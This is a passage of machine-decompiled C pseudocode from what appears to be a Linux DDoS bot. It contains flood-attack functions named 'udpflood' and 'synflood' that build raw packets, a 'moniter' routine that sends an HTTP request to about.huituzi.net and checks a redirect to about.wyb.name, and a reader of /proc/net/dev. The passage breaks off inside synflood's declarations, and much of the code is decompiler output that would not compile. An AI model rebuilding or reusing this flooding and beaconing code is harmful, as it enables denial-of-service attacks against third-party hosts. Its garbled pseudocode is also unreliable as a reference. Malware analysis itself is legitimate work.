  996.         L0806A7B0(_v12, __ebx, __ecx, __esi, _v12);
  997.     }
  998.     if(_v8 == 0) {
  999.         return ;
  1000.     }
  1001.     L08060220(_v8);
  1002.     return;
  1003. }
  1004.  
  1005. GetNetPackets(long long unsigned int* lNetOut, long long unsigned int* lPacketOut)
  1006. {// addr = 0x0804920F
  1007.     size_t len;
  1008.     char* p;
  1009.     char* szLine;
  1010.     long long unsigned int nouse;
  1011.     long long unsigned int nEthIn;
  1012.     long long unsigned int nEthOut;
  1013.     long long unsigned int nPacketIn;
  1014.     long long unsigned int nPacketOut;
  1015.     long long unsigned int tEthIn;
  1016.     long long unsigned int tEthOut;
  1017.     long long unsigned int tPacketIn;
  1018.     long long unsigned int tPacketOut;
  1019.     FILE* fp;
  1020.     intOrPtr _v8;
  1021.     long long unsigned int _v16;
  1022.     long long unsigned int _v20;
  1023.     long long unsigned int _v24;
  1024.     long long unsigned int _v28;
  1025.     long long unsigned int _v32;
  1026.     long long unsigned int _v36;
  1027.     long long unsigned int _v40;
  1028.     long long unsigned int _v44;
  1029.     signed char* _v48;
  1030.     char _v52;
  1031.     long long unsigned int _v56;
  1032.     long long unsigned int _v64;
  1033.     char _v68;
  1034.     long long unsigned int _v72;
  1035.     char _v76;
  1036.     long long unsigned int _v80;
  1037.     char _v84;
  1038.     long long unsigned int _v88;
  1039.     char _v92;
  1040.     long long unsigned int _v96;
  1041.     char _v100;
  1042.     char* _v112;
  1043.     char* _v116;
  1044.     char* _v120;
  1045.     char* _v124;
  1046.     char* _v128;
  1047.     char* _v132;
  1048.     char* _v136;
  1049.     char* _v140;
  1050.     char* _v144;
  1051.     _unknown_ _v148;
  1052.     _unknown_ _v152;
  1053.     _unknown_ r6;
  1054.     _unknown_ _t89;
  1055.     _unknown_ _t103;
  1056.     long long unsigned int* _t118;
  1057.     long long unsigned int* _t119;
  1058.  
  1059.     _v52 = 0;
  1060.     _v48 = 0;
  1061.     _v56 = 0;
  1062.     _v68 = 0;
  1063.     _v64 = 0;
  1064.     _v44 = 0;
  1065.     _v40 = 0;
  1066.     _v36 = 0;
  1067.     _v32 = 0;
  1068.     _v28 = 0;
  1069.     _v24 = 0;
  1070.     _v20 = 0;
  1071.     _v16 = 0;
  1072.     _v76 = 0;
  1073.     _v72 = 0;
  1074.     _v84 = 0;
  1075.     _v80 = 0;
  1076.     _v92 = 0;
  1077.     _v88 = 0;
  1078.     _v100 = 0;
  1079.     _v96 = 0;
  1080.     L08060B50("/proc/net/dev", "r");
  1081.     _v8 = __eax;
  1082.     if(_v8 == 0) {
  1083.         return ;
  1084.     }
  1085.     while(1) {
  1086.         _t89 = L08062AE0(_v8, __ebx, __esi, _v8);
  1087.         if(_t89 != 0) {
  1088.             break;
  1089.         }
  1090.         L08060110( &_v56,  &_v52, _v8);
  1091.         _v48 = _v56;
  1092.         while(( *_v48 & 255) != 0 && ( *_v48 & 255) == 32) {
  1093.             _v48 =  &(_v48[1]);
  1094.             _t103 = L0806E820(_v48, "eth", 3);
  1095.             if(_t103 == 0) {
  1096.                 _v112 =  &_v100;
  1097.                 _v116 =  &_v84;
  1098.                 _v120 =  &_v68;
  1099.                 _v124 =  &_v68;
  1100.                 _v128 =  &_v68;
  1101.                 _v132 =  &_v68;
  1102.                 _v136 =  &_v68;
  1103.                 _v140 =  &_v68;
  1104.                 _v144 =  &_v92;
  1105.                 L0805FFB0(_v48, "%*s %Lu %Lu %Lu %Lu %Lu %Lu %Lu %Lu %Lu %Lu",  &_v76);
  1106.             }
  1107.         }
  1108.     }
  1109.     _t118 = lNetOut;
  1110.      *_t118 = _v36;
  1111.     (_t118[0]) = _v32;
  1112.     _t119 = lPacketOut;
  1113.      *_t119 = _v20;
  1114.     (_t119[0]) = _v16;
  1115.     L08060220(_v8);
  1116.     return;
  1117. }
  1118.  
  1119. int moniter(char* host)
  1120. {// addr = 0x080493F6
  1121.     int sockfd;
  1122.     int numbytes;
  1123.     char[4095] buf;
  1124.     char[2] over;
  1125.     int i;
  1126.     int flag;
  1127.     int ret;
  1128.     char* start;
  1129.     char* end;
  1130.     char* tmp;
  1131.     char* locate;
  1132.     struct hostent* he;
  1133.     struct sockaddr_in their_addr;
  1134.     fd_set fdsr;
  1135.     int maxsock;
  1136.     struct timeval tv;
  1137.     long unsigned int ul;
  1138.     int error;
  1139.     int len;
  1140.     struct timeval timeout;
  1141.     int __d0;
  1142.     int __d1;
  1143.     int __d0;
  1144.     int __d1;
  1145.     intOrPtr _v16;
  1146.     int _v20;
  1147.     intOrPtr _v24;
  1148.     int _v28;
  1149.     int _v32;
  1150.     char* _v36;
  1151.     int _v40;
  1152.     int _v44;
  1153.     int _v48;
  1154.     int _v52;
  1155.     int _v56;
  1156.     int _v60;
  1157.     int _v64;
  1158.     intOrPtr _v68;
  1159.     int _v72;
  1160.     char _v4168;
  1161.     char _v4170;
  1162.     char _v4171;
  1163.     intOrPtr _v4184;
  1164.     short _v4186;
  1165.     char _v4188;
  1166.     char _v4316;
  1167.     int _v4320;
  1168.     char _v4324;
  1169.     char _v4328;
  1170.     char _v4332;
  1171.     char _v4336;
  1172.     int _v4340;
  1173.     char _v4344;
  1174.     int _v4352;
  1175.     int _v4364;
  1176.     int _v4368;
  1177.     int _v4372;
  1178.     int _v4376;
  1179.     _unknown_ r6;
  1180.     _unknown_ _t186;
  1181.     char* _t187;
  1182.     short _t188;
  1183.     int _t194;
  1184.     _unknown_ _t199;
  1185.     _unknown_ _t204;
  1186.     _unknown_ _t206;
  1187.     _unknown_ _t208;
  1188.     _unknown_ _t210;
  1189.     _unknown_ _t212;
  1190.     _unknown_ _t214;
  1191.     _unknown_ _t216;
  1192.     _unknown_ _t218;
  1193.     int _t224;
  1194.     int _t227;
  1195.     _unknown_ _t229;
  1196.     _unknown_ _t231;
  1197.     _unknown_ _t232;
  1198.     _unknown_ _t235;
  1199.     int _t238;
  1200.     intOrPtr _t241;
  1201.     _unknown_ _t243;
  1202.     _unknown_ _t247;
  1203.     int _t252;
  1204.     _unknown_ _t254;
  1205.     int _t257;
  1206.     int _t260;
  1207.     int _t263;
  1208.     _unknown_ _t266;
  1209.     _unknown_ _t268;
  1210.     _unknown_ _t270;
  1211.     _unknown_ _t271;
  1212.     _unknown_ _t272;
  1213.     _unknown_ _t275;
  1214.     int _t278;
  1215.     int _t281;
  1216.     _unknown_ _t282;
  1217.     _unknown_ _t283;
  1218.     _unknown_ _t284;
  1219.     _unknown_ _t285;
  1220.     _unknown_ _t286;
  1221.     _unknown_ _t287;
  1222.     _unknown_ _t290;
  1223.     _unknown_ _t294;
  1224.     char* _t297;
  1225.     char* _t299;
  1226.  
  1227.     _v4328 = 1;
  1228.     _v64 = 0;
  1229.     _v56 = 0;
  1230.     _v52 = 0;
  1231.     _v48 = 0;
  1232.     _v44 = 0;
  1233.     _v40 = 0;
  1234.     _t187 = host;
  1235.     L08075250(_t187);
  1236.     _v36 = _t187;
  1237.     _v4188 = 2;
  1238.      *__esp = 80;
  1239.     _t188 = L08075240(__esp);
  1240.     _v4186 = _t188;
  1241.     _v4184 =  *((intOrPtr*)( *(_v36[0x10])));
  1242.     _v4376 = 8;
  1243.     _t194 =  &_v4188 + 8;
  1244.      *__esp = _t194;
  1245.     L0806F910();
  1246.     _v4372 = 0;
  1247.     L08073680(0, __esp, 2, 1);
  1248.     _v72 = _t194;
  1249.     __eflags = _v72 - 255;
  1250.     if(_v72 != 255) {
  1251.         L08071830(__esp, _v72, 21537,  &_v4328);
  1252.         _v4332 = -1;
  1253.         _v4372 = 16;
  1254.         _t199 = L08052AA0(__esi, _v72,  &_v4188);
  1255.         __eflags = _t199 - 255;
  1256.         if(_t199 != 255) {
  1257. L8:
  1258.             _v56 = -1;
  1259.             goto L9;
  1260.         } else {
  1261.             goto L3;
  1262.         }
  1263.         goto L3;
  1264. L9:
  1265.         L0805FF20("ret is [%d]\n", _v56);
  1266.         __eflags = _v56;
  1267.         if(_v56 == 0) {
  1268.             _v4328 = 0;
  1269.             _v4372 =  &_v4328;
  1270.             _v4376 = 21537;
  1271.              *__esp = _v72;
  1272.             L08071830(__esp);
  1273.             L0806F850(0, _t296, __esi,  &_v4168, 0, 4096);
  1274.             _v4376 = "GET / HTTP/1.1
  1275. \n";
  1276.              *__esp =  &_v4168;
  1277.             L0806E1B0(__esp);
  1278.             _v4376 = "User-Agent: huituzi-monitor
  1279. \n";
  1280.              *__esp =  &_v4168;
  1281.             L0806E1B0(__esp);
  1282.             _v4376 = "Accept: */*
  1283. \n";
  1284.              *__esp =  &_v4168;
  1285.             L0806E1B0(__esp);
  1286.             _v4376 = "GET / HTTP/1.1
  1287. \n";
  1288.              *__esp =  &_v4168;
  1289.             L0806E1B0(__esp);
  1290.             _v4376 = "host: ";
  1291.              *__esp =  &_v4168;
  1292.             L0806E1B0(__esp);
  1293.             _v4376 = "about.huituzi.net";
  1294.              *__esp =  &_v4168;
  1295.             L0806E1B0(__esp);
  1296.             _v4376 = "
  1297. \n
  1298. \n";
  1299.              *__esp =  &_v4168;
  1300.             L0806E1B0(__esp);
  1301.             _v4324 = 3;
  1302.             _v4320 = 0;
  1303.             _v4344 = 3;
  1304.             _v4340 = 0;
  1305.             _v4364 = 8;
  1306.             _v4368 =  &_v4344;
  1307.             _v4372 = 21;
  1308.             L08073640(0, __esp, _v72, 1);
  1309.             _v4364 = 8;
  1310.             _v4368 =  &_v4344;
  1311.             _v4372 = 20;
  1312.             L08073640(0, __esp, _v72, 1);
  1313.              *__esp =  &_v4168;
  1314.             _t224 = L0806E770(__esp, __eflags);
  1315.             _v4368 = 0;
  1316.             _v4372 = _t224;
  1317.             _t227 = L08052BC0(__esi, _v72,  &_v4168);
  1318.             __eflags = _t227;
  1319.             if(_t227 >= 0) {
  1320.                 L0806F850(0, _t296, __esi,  &_v4168, 0, 4096);
  1321.                 _v32 = _v72;
  1322.                 _t297 =  &_v4316;
  1323.                 asm("cld ");
  1324.                 _push(32 << 2);
  1325.                 _push(0);
  1326.                 _push(_t297);
  1327.                 memset();
  1328.                 __esp =  &(__esp[3]);
  1329.                 _t298 = _t297 + 32;
  1330.                 _v20 = 0;
  1331.                 _v16 = _t297 + 32;
  1332.                 asm("bts [ebp+edx*4+0xffffef28], eax");
  1333.                 _v4364 =  &_v4324;
  1334.                 _v4368 = 0;
  1335.                 _v4372 = 0;
  1336.                 _t238 =  &_v4316;
  1337.                 _v4376 = _t238;
  1338.                  *__esp = _v32 + 1;
  1339.                 L08071940();
  1340.                 _v56 = _t238;
  1341.                 __eflags = _v56;
  1342.                 if(_v56 >= 0) {
  1343.                     __eflags = _v56;
  1344.                     if(_v56 != 0) {
  1345.                         _v4368 = 0;
  1346.                         _v4372 = 4096;
  1347.                         _t241 = L08052B00(__esi, _v72,  &_v4168);
  1348.                         _v68 = _t241;
  1349.                         __eflags = _v68 - 255;
  1350.                         if(_v68 != 255) {
  1351.                             L0806F850(0, _t298, __esi,  &_v4171, 0, 3);
  1352.                             _v4171 = 13;
  1353.                             _v4170 = 10;
  1354.                             _v52 =  &_v4168;
  1355.                             _v44 = _v52;
  1356.                              *__esp =  &_v4168;
  1357.                             _t247 = L0806E770(__esp, __eflags);
  1358.                             _v48 = _t247 + _v52;
  1359.                             while(1) {
  1360. L25:
  1361.                                 __eflags = _v52 - _v48;
  1362.                                 if(_v52 >= _v48) {
  1363.                                     break;
  1364.                                 } else {
  1365.                                     goto L20;
  1366.                                 }
  1367.                                 goto L20;
  1368.                             }
  1369. L29:
  1370.                             L08052A50(_v72);
  1371.                             __eflags = _v40;
  1372.                             if(_v40 == 0) {
  1373. L32:
  1374.                                 _v4352 = 1;
  1375.                                 return _v4352;
  1376.                             }
  1377.                             _t257 = L0806E4D0(_v40, "http://about.wyb.name");
  1378.                             __eflags = _t257;
  1379.                             if(_t257 != 0) {
  1380.                                 goto L32;
  1381.                             }
  1382.                             _v4352 = 0;
  1383.                             return _v4352;
  1384.                             return _v4352;
  1385.                         } else {
  1386.                             goto L18;
  1387.                         }
  1388.                         goto L18;
  1389. L20:
  1390.                         _t252 = L0806F010(_v52, _v52,  &_v4171);
  1391.                         _v52 = _t252;
  1392.                         __eflags = _v52;
  1393.                         if(_v52 == 0) {
  1394.                             goto L29;
  1395.                         }
  1396.                          *_v52 = 0;
  1397.                         _v52 = _v52 + 2;
  1398.                         _t260 = L0806E820(_v44, "Location:", 9);
  1399.                         __eflags = _t260;
  1400.                         if(_t260 != 0) {
  1401. L24:
  1402.                             _v44 = _v52;
  1403.                             goto L25;
  1404.                         }
  1405.                         _t263 = L0806E360(__esp, _v44, 32);
  1406.                         _v44 = _t263;
  1407.                         __eflags = _v44;
  1408.                         if(_v44 == 0) {
  1409.                             goto L28;
  1410.                         }
  1411.                         _v44 = _v44 + 1;
  1412.                         _v40 = _v44;
  1413.                         goto L24;
  1414. L28:
  1415.                         goto L29;
  1416.                     } else {
  1417.                         goto L16;
  1418.                     }
  1419.                     goto L16;
  1420. L18:
  1421.                     L08052A50(_v72);
  1422.                     _v4352 = -1;
  1423.                     return _v4352;
  1424.                 } else {
  1425.                     goto L14;
  1426.                 }
  1427.                 goto L14;
  1428. L16:
  1429.                 _v4352 = 1;
  1430.                 return _v4352;
  1431.             } else {
  1432.                 goto L12;
  1433.             }
  1434.             goto L12;
  1435. L14:
  1436.             _v4352 = -1;
  1437.             return _v4352;
  1438.         }
  1439.         L08052A50(_v72);
  1440.         _v4352 = -1;
  1441.         return _v4352;
  1442. L12:
  1443.          *__esp = "send";
  1444.         L08060060();
  1445.          *__esp = _v72;
  1446.         L08052A50();
  1447.         _v4352 = -1;
  1448.         return _v4352;
  1449.     }
  1450.      *__esp = "socket";
  1451.     L08060060();
  1452.     _v4352 = -1;
  1453.     return _v4352;
  1454. L3:
  1455.     _v4324 = 5;
  1456.     _v4320 = 0;
  1457.     _t299 =  &_v4316;
  1458.     asm("cld ");
  1459.     _push(32 << 2);
  1460.     _push(0);
  1461.     _push(_t299);
  1462.     memset();
  1463.     __esp =  &(__esp[3]);
  1464.     _t296 = _t299 + 32;
  1465.     _v28 = 0;
  1466.     _v24 = _t299 + 32;
  1467.     asm("bts [ebp+edx*4+0xffffef28], eax");
  1468.     _v4364 =  &_v4324;
  1469.     _v4368 = 0;
  1470.     _t278 =  &_v4316;
  1471.     _v4372 = _t278;
  1472.     _v4376 = 0;
  1473.      *__esp = _v72 + 1;
  1474.     L08071940();
  1475.     __eflags = _t278;
  1476.     if(_t278 <= 0) {
  1477.         _v56 = 1;
  1478.         goto L9;
  1479.     }
  1480.     _v4364 =  &_v4336;
  1481.     _v4368 =  &_v4332;
  1482.     _v4372 = 4;
  1483.     _v4376 = 1;
  1484.     _t281 = _v72;
  1485.      *__esp = _t281;
  1486.     L08073620(0, __esp);
  1487.     _v60 = _t281;
  1488.     __eflags = _v60;
  1489.     if(_v60 != 0) {
  1490.         _v56 = -1;
  1491.     } else {
  1492.         _v56 = 0;
  1493.     }
  1494. }
  1495.  
  1496. int udpflood(_Unknown_base* ThreadData)
  1497. {// addr = 0x080499FB
  1498.     int hSockfd;
  1499.     char[1023] packet;
  1500.     struct sockaddr_in remoteAddr;
  1501.     UDPPACKET UdpObj;
  1502.     int nTime;
  1503.     struct hostent* szhost;
  1504.     socklen_t fromlen;
  1505.     int i;
  1506.     int looptime;
  1507.     int num;
  1508.     signed int _v8;
  1509.     signed short* _v12;
  1510.     signed int _v16;
  1511.     intOrPtr _v20;
  1512.     _unknown_ _v22;
  1513.     intOrPtr _v24;
  1514.     signed int _v28;
  1515.     intOrPtr _v32;
  1516.     char _v1056;
  1517.     intOrPtr _v1068;
  1518.     short _v1070;
  1519.     short _v1072;
  1520.     signed int _v1076;
  1521.     signed int _v1208;
  1522.     char _v1220;
  1523.     _unknown_ _v1224;
  1524.     _unknown_ _v1228;
  1525.     _unknown_ _v1232;
  1526.     signed int _v1236;
  1527.     intOrPtr _v1240;
  1528.     intOrPtr _v1252;
  1529.     signed int _v1256;
  1530.     signed int _v1260;
  1531.     signed int _v1262;
  1532.     _unknown_ r6;
  1533.     intOrPtr _t95;
  1534.     _unknown_ _t97;
  1535.     _unknown_ _t98;
  1536.     _unknown_ _t99;
  1537.     _unknown_ _t100;
  1538.     short _t123;
  1539.     intOrPtr _t125;
  1540.     _unknown_ _t128;
  1541.     signed int _t133;
  1542.     _unknown_ _t141;
  1543.     _unknown_ _t149;
  1544.     _unknown_ _t150;
  1545.  
  1546.     L0806F910( &_v1220, 148);
  1547.     _t95 = L0806F9E0(__edi, __esi,  &_v1220, ThreadData, 148);
  1548.     _v1236 = 0;
  1549.     L08073680(__ebx, __esp, 2, 2);
  1550.     _v32 = _t95;
  1551.     if(_v32 != 255) {
  1552.         _v28 = 0;
  1553.         _v28 = _v1208;
  1554.         if(_v28 <= 0 || _v28 > 86400) {
  1555.             _v28 = 20;
  1556.         }
  1557.         L0806F910( &_v1072, 16);
  1558.         _v1072 = 2;
  1559.          *__esp = _v1076 & 65535;
  1560.         _t123 = L08075240(__esp);
  1561.         _v1070 = _t123;
  1562.         _t125 =  &_v1220 + 16;
  1563.         L08075250(_t125);
  1564.         _v24 = _t125;
  1565.         if(_v24 == 0) {
  1566.         } else {
  1567.             _t128 = L0806E4D0( &_v1220 + 16, "0.0.0.0");
  1568.             if(_t128 == 0) {
  1569.                 goto L19;
  1570.             } else {
  1571.                 _v1068 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v24 + 16))))));
  1572.                 _v20 = 16;
  1573.                 _v1240 = 1024;
  1574.                 _t133 =  &_v1056;
  1575.                  *__esp = _t133;
  1576.                 L0806F910();
  1577.                 _v16 = 0;
  1578.                 while(_v16 <= 126) {
  1579.                     L0805EBE0();
  1580.                     _v8 = _t133;
  1581.                     _t133 = L0806F850(__ebx, __edi, __esi,  &_v1056 + (_v16 << 3), _v8, 8);
  1582.                     _v16 = _v16 + 1;
  1583.                 }
  1584.             }
  1585.         }
  1586.         goto L19;
  1587. L20:
  1588.         _push(_t149);
  1589.         __esp = __esp - 16;
  1590.         _v1260 = _v1236;
  1591.         _v1256 = 0;
  1592.         _v1252 = _v1240;
  1593.         _v1262 = 0;
  1594.         while(_v20 > 1) {
  1595.             _v16 = _v16 + ( *_v12 & 65535 & 65535);
  1596.             _v12 =  &(_v12[1]);
  1597.             _v20 = _v20 - 2;
  1598.         }
  1599.     }
  1600. L19:
  1601.     L08052A50(_v32);
  1602.     _t98 = L08051050();
  1603.     L08051000(_t98);
  1604.      *__esp = 0;
  1605.     L08050FE0();
  1606.     goto L20;
  1607. }
  1608.  
  1609. uint16_t csum(uint16_t* addr, int len)
  1610. {// addr = 0x08049C09
  1611.     int nleft;
  1612.     uint32_t sum;
  1613.     uint16_t* w;
  1614.     uint16_t answer;
  1615.     short unsigned int* _v8;
  1616.     short _v12;
  1617.     int _v16;
  1618.     short _v18;
  1619.     _unknown_ r6;
  1620.  
  1621.     _v16 = len;
  1622.     _v12 = 0;
  1623.     _v8 = addr;
  1624.     _v18 = 0;
  1625.     while(_v16 > 1) {
  1626.         _v12 = _v12 + ( *_v8 & 65535 & 65535);
  1627.         _v8 =  &(_v8[1]);
  1628.         _v16 = _v16 - 2;
  1629.     }
  1630. }
  1631.  
  1632. int synflood(_Unknown_base* ThreadData)
  1633. {// addr = 0x08049C8D
  1634.     SYNPACKET SynObj;
  1635.     short int tcp_flags;
  1636.     char[19] szNewIP;
  1637.     char[255] szPackData;
  1638.     char[127] pheader;
  1639.     struct sockaddr_in servaddr;
  1640.     int hSockft;
  1641.     struct hostent* szhost;
  1642.     int nTime;
  1643.     int tcphdr_size;
  1644.     struct ip* iph;
  1645.     struct tcphdr* tcph;
  1646.     struct tcp_options* tcpopt;
  1647.     int one;
  1648.     const int* val;
  1649.     int looptime;
  1650.     int aa;
  1651.     int ShamBase;
  1652.     int dwNewIP;
  1653.     signed int _v12;
  1654.     signed int _v16;
  1655.     signed int _v20;
  1656.     signed int _v24;
  1657.     signed int _v28;
  1658.     signed int _v32;
  1659.     signed int _v36;
  1660.     signed int _v40;
  1661.     _unknown_ _v42;
  1662.     unsigned int _v44;
  1663.     signed int _v48;
  1664.     char* _v52;
  1665.     unsigned int _v56;
  1666.     signed short _v58;
  1667.     signed int _v60;
  1668.     signed char* _v64;
  1669.     unsigned int _v68;
  1670.     signed int _v70;
  1671.     signed int _v72;
  1672.     signed int _v76;
  1673.     signed short _v78;
  1674.     signed int _v80;
  1675.     signed short _v82;
  1676.     signed int _v84;
  1677.     signed int _v88;
  1678.     signed short _v90;
  1679.     signed int _v92;
  1680.     signed int _v96;
  1681.     intOrPtr _v100;
  1682.     signed int _v104;
  1683.     signed int _v204;
  1684.     signed int _v216;
  1685.     signed int _v224;
  1686.     signed int _v228;
  1687.     signed int _v236;
  1688.     char _v240;
  1689.     char _v248;
  1690.     char _v252;
  1691.     char _v260;
  1692.     char _v272;
  1693.     char _v492;
  1694.     char _v504;
  1695.     char _v516;
  1696.     char _v528;
  1697.     unsigned int _v609;
  1698.     unsigned short _v610;
  1699.     signed int _v611;
  1700.     signed int _v612;
  1701.     short unsigned int _v620;
  1702.     unsigned int _v621;
  1703.     unsigned short _v622;
  1704.     signed int _v623;
  1705.     signed int _v624;
  1706.     short unsigned int _v632;
  1707.     unsigned int _v633;
  1708.     unsigned short _v634;
  1709.     signed int _v635;
  1710.     signed int _v636;
  1711.     char _v640;
  1712.     short unsigned int _v644;
  1713.     unsigned int _v645;
  1714.     unsigned short _v646;
  1715.     signed int _v647;
  1716.     signed int _v648;
  1717.     char _v652;
  1718.     signed int _v656;
  1719.     char _v660;
  1720.     char _v664;
  1721.     signed int _v668;
  1722.     char _v672;
  1723.     char _v676;
  1724.     signed int _v680;
  1725.     signed int _v684;
  1726.     signed int _v688;
  1727.     signed short _v692;
  1728.     signed short _v696;
  1729.     signed int _v700;
  1730.     signed int _v712;
  1731.     intOrPtr _v760;
  1732.     signed int _v764;
  1733.     signed short _v766;
  1734.     char _v924;
  1735.     signed short _v1344;
  1736.     signed int _v1396;
  1737.     signed int _v1400;
  1738.     signed int _v1404;
  1739.     signed int _v1408;
  1740.     signed int _v1412;
  1741.     intOrPtr _v1480;
  1742.     signed int _v1484;
  1743.     signed short _v1486;
  1744.     intOrPtr _v1636;
  1745.     char _v1648;
  1746.     signed short _v2068;
  1747.     signed int _v2112;
  1748.     signed int _v2116;
  1749.     signed int _v2120;
  1750.     signed int _v2124;
  1751.     signed int _v2128;
  1752.     intOrPtr _v2184;
  1753.     signed int _v2188;
  1754.     signed int _v2190;
  1755.     char _v2348;
  1756.     signed short _v2768;
  1757.     signed int _v2812;
  1758.     signed int _v2816;
  1759.     signed int _v2820;
  1760.     signed int _v2824;
  1761.     signed int _v2828;
  1762.     intOrPtr _v2892;
  1763.     signed int _v2896;
  1764.     signed int _v2898;
  1765.     char _v3056;
  1766.     signed short _v3476;
  1767.     signed int _v3528;
  1768.     signed int _v3532;
  1769.     signed int _v3536;
  1770.     signed char _v3540;
  1771.     signed int _v3544;
  1772.     intOrPtr _v3612;
  1773.     signed int _v3616;
  1774.     signed int _v3618;
  1775.     intOrPtr _v3768;
  1776.     char _v3780;
  1777.     signed short _v4200;
  1778.     signed int _v4244;
  1779.     signed int _v4248;
  1780.     signed int _v4252;
  1781.     signed char _v4256;
  1782.     signed int _v4260;
  1783.     signed int _v4272;
  1784.     signed int _v4276;
  1785.     signed char _v4280;
  1786.     signed int _v4282;
  1787.     _unknown_ r6;
  1788.     _unknown_ _t1353;
  1789.     unsigned int _t1354;
  1790.     signed int _t1356;
  1791.     _unknown_ _t1358;
  1792.     _unknown_ _t1359;
  1793.     _unknown_ _t1360;
  1794.     _unknown_ _t1361;
  1795.     _unknown_ _t1365;
  1796.     signed int _t1366;
  1797.     intOrPtr _t1368;
  1798.     _unknown_ _t1370;
  1799.     _unknown_ _t1371;
  1800.     _unknown_ _t1372;
  1801.     _unknown_ _t1373;
  1802.     _unknown_ _t1377;
  1803.     signed int _t1378;
  1804.     signed char* _t1383;
  1805.     _unknown_ _t1385;
  1806.     _unknown_ _t1386;
  1807.     _unknown_ _t1387;
  1808.     _unknown_ _t1388;
  1809.     _unknown_ _t1392;
  1810.     signed int _t1393;
  1811.     intOrPtr _t1395;
  1812.     _unknown_ _t1397;
  1813.     _unknown_ _t1398;
  1814.     _unknown_ _t1399;
  1815.     _unknown_ _t1400;
  1816.     _unknown_ _t1404;
  1817.     signed int _t1405;
  1818.     intOrPtr _t1407;
  1819.     _unknown_ _t1409;
  1820.     _unknown_ _t1410;
  1821.     _unknown_ _t1411;
  1822.     _unknown_ _t1412;
  1823.     _unknown_ _t1416;
  1824.     signed int _t1417;
  1825.     signed int _t1422;
  1826.     _unknown_ _t1424;
  1827.     _unknown_ _t1425;
  1828.     _unknown_ _t1426;
  1829.     _unknown_ _t1427;
  1830.     _unknown_ _t1448;
  1831.     signed char _t1467;
  1832.     short _t1476;
  1833.     intOrPtr _t1478;
  1834.     intOrPtr _t1480;
  1835.     short _t1489;
  1836.     signed int _t1497;
  1837.     signed int _t1498;
  1838.     _unknown_ _t1500;
  1839.     intOrPtr _t1508;
  1840.     signed int _t1509;
  1841.     _unknown_ _t1511;
  1842.     short _t1520;
  1843.     signed int _t1521;
  1844.     _unknown_ _t1523;
  1845.     signed int _t1532;
  1846.     _unknown_ _t1534;
  1847.     _unknown_ _t1539;
  1848.     signed char _t1549;
  1849.     _unknown_ _t1552;
  1850.     _unknown_ _t1556;
  1851.     _unknown_ _t1561;
  1852.     _unknown_ _t1570;
  1853.     _unknown_ _t1574;
  1854.     short unsigned int _t1577;
  1855.     _unknown_ _t1582;
  1856.     _unknown_ _t1597;
  1857.     signed char _t1616;
  1858.     short _t1625;
  1859.     intOrPtr _t1627;
  1860.     intOrPtr _t1629;
  1861.     short _t1638;
  1862.     signed int _t1646;
  1863.     signed int _t1647;
  1864.     _unknown_ _t1649;
  1865.     intOrPtr _t1657;
  1866.     signed int _t1658;
  1867.     _unknown_ _t1660;
  1868.     short _t1669;
  1869.     signed int _t1670;
  1870.     _unknown_ _t1672;
  1871.     signed int _t1681;
  1872.     _unknown_ _t1683;
  1873.     _unknown_ _t1688;
  1874.     signed char _t1698;
  1875.     _unknown_ _t1701;
  1876.     _unknown_ _t1705;
  1877.     _unknown_ _t1710;
  1878.     _unknown_ _t1719;
  1879.     _unknown_ _t1723;
  1880.     short unsigned int _t1726;
  1881.     signed int _t1729;
  1882.     _unknown_ _t1731;
  1883.     signed int _t1734;
  1884.     _unknown_ _t1750;
  1885.     char _t1769;
  1886.     short _t1778;
  1887.     intOrPtr _t1780;
  1888.     intOrPtr _t1782;
  1889.     short _t1791;
  1890.     signed int _t1799;
  1891.     signed int _t1800;
  1892.     _unknown_ _t1802;
  1893.     intOrPtr _t1810;
  1894.     signed int _t1811;
  1895.     _unknown_ _t1813;
  1896.     short _t1822;
  1897.     signed int _t1823;
  1898.     _unknown_ _t1825;
  1899.     signed int _t1834;
  1900.     _unknown_ _t1836;
  1901.     _unknown_ _t1841;
  1902.     char _t1851;
  1903.     _unknown_ _t1854;
  1904.     _unknown_ _t1858;
  1905.     _unknown_ _t1863;
  1906.     _unknown_ _t1872;
  1907.     _unknown_ _t1876;
  1908.     short unsigned int _t1879;
  1909.     _unknown_ _t1896;
  1910.     char _t1915;
  1911.     short _t1924;
  1912.     intOrPtr _t1926;
  1913.     intOrPtr _t1928;
  1914.     short _t1937;
  1915.     signed int _t1945;
  1916.     signed int _t1946;
  1917.     _unknown_ _t1948;
  1918.     intOrPtr _t1956;
  1919.     signed int _t1957;
  1920.     _unknown_ _t1959;
  1921.     short _t1968;
  1922.     signed int _t1969;
  1923.     _unknown_ _t1971;
  1924.     signed int _t1980;
  1925.     _unknown_ _t1982;
  1926.     _unknown_ _t1987;
  1927.     char _t1997;
  1928.     _unknown_ _t2000;
  1929.     _unknown_ _t2004;
  1930.     _unknown_ _t2009;
  1931.     _unknown_ _t2018;
  1932.     _unknown_ _t2022;
  1933.     short unsigned int _t2025;
  1934.     signed int _t2028;
  1935.     _unknown_ _t2030;
  1936.     _unknown_ _t2045;
  1937.     char _t2064;
  1938.     short _t2073;
  1939.     intOrPtr _t2075;
  1940.     intOrPtr _t2077;
  1941.     short _t2086;
  1942.     signed int _t2094;
  1943.     signed int _t2095;
  1944.     _unknown_ _t2097;
  1945.     intOrPtr _t2105;
  1946.     signed int _t2106;
  1947.     _unknown_ _t2108;
  1948.     short _t2117;
  1949.     signed int _t2118;
  1950.     _unknown_ _t2120;
  1951.     signed int _t2129;
  1952.     _unknown_ _t2131;
  1953.     _unknown_ _t2136;
  1954.     char _t2146;
  1955.     _unknown_ _t2149;
  1956.     _unknown_ _t2153;
  1957.     _unknown_ _t2158;
  1958.     _unknown_ _t2167;
  1959.     _unknown_ _t2171;
  1960.     short unsigned int _t2174;
  1961.     signed int _t2177;
  1962.     _unknown_ _t2179;
  1963.     signed int _t2182;
  1964.     _unknown_ _t2198;
  1965.     short _t2217;
  1966.     _unknown_ _t2226;
  1967.     intOrPtr _t2228;
  1968.     intOrPtr _t2230;
  1969.     short _t2239;
  1970.     signed int _t2247;
  1971.     signed int _t2248;
  1972.     _unknown_ _t2250;
  1973.     intOrPtr _t2258;
  1974.     signed int _t2259;
  1975.     _unknown_ _t2261;
  1976.     short _t2270;
  1977.     signed int _t2271;
  1978.     _unknown_ _t2273;
  1979.     signed int _t2282;
  1980.     _unknown_ _t2284;
  1981.     _unknown_ _t2289;
  1982.     intOrPtr _t2299;
  1983.     _unknown_ _t2302;
  1984.     _unknown_ _t2306;
  1985.     _unknown_ _t2311;
  1986.     _unknown_ _t2320;
  1987.     _unknown_ _t2324;
